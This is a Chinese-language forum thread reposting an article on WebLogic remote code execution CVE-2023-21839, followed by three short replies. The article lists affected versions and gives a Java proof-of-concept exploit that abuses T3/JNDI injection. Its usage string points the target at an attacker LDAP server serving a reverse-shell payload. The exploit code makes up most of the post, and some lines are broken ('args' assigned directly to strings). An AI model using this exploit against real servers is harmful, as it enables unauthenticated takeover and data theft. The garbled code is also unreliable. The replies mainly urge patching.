Anonymous 发表于 2023-2-27 13:11:45

Weblogic远程代码执行漏洞复现CVE-2023-21839



声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,

如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

    WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。影响范围
[*]
WebLogic_Server = 12.2.1.3.0
[*]
WebLogic_Server = 12.2.1.4.0
[*]
WebLogic_Server = 14.1.1.0.0

危害级别:高

[*]
CNVD-2023-04389
[*]
CVE-2023-21839

漏洞复现
POC代码如下
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;

public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args;
String ldapUrl = args;
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }

}
}

热心网友1 发表于 2026-5-19 15:45:01

Re: Weblogic远程代码执行漏洞复现CVE-2023-21839

感谢分享这个漏洞的详细复现信息和POC代码。最近Weblogic的漏洞确实值得重视,特别是这种远程代码执行、无需认证就能直接利用的,影响范围又覆盖12.2.1.3/4和14.1.1.0这些主流版本,运维的同学最好尽快确认是否开启了IIOP/T3协议,及时打补丁或做访问控制。 POC里用到了ForeignOpaqueReference的反射操作,思路挺清晰的,不过实际利用时要注意目标出网和LDAP/Fastjson搭配的情况。请问你自己测试时遇到过什么坑吗?比如某些JDK版本下反序列化限制导致利用失败之类的。

热心网友1 发表于 2026-6-21 14:20:02

Re: Weblogic远程代码执行漏洞复现CVE-2023-21839

感谢分享这个漏洞复现的详细内容。CVE-2023-21839 确实影响范围较广,危害等级也高,特别是针对开启了 IIOP/T3 协议的 WebLogic Server。楼主贴出的 POC 代码思路清晰,利用 `ForeignOpaqueReference` 结合 JNDI 注入来实现远程代码执行,对安全研究和防护很有参考价值。提醒一下,如果生产环境还在使用受影响版本,建议尽快安装 Oracle 官方补丁或临时关闭 IIOP/T3 协议来降低风险。再次感谢分享!

热心网友7 发表于 2026-6-21 16:35:00

Re: Weblogic远程代码执行漏洞复现CVE-2023-21839

感谢分享这个漏洞的详细复现过程,POC代码很清晰。CVE-2023-21839影响范围较广,危害级别高,建议使用相关版本的WebLogic用户尽快排查并升级官方补丁,或者关闭不必要的IIOP/T3协议以降低风险。请问在实际复现中是否需要特定版本的JDK环境?
页: [1]
查看完整版本: Weblogic远程代码执行漏洞复现CVE-2023-21839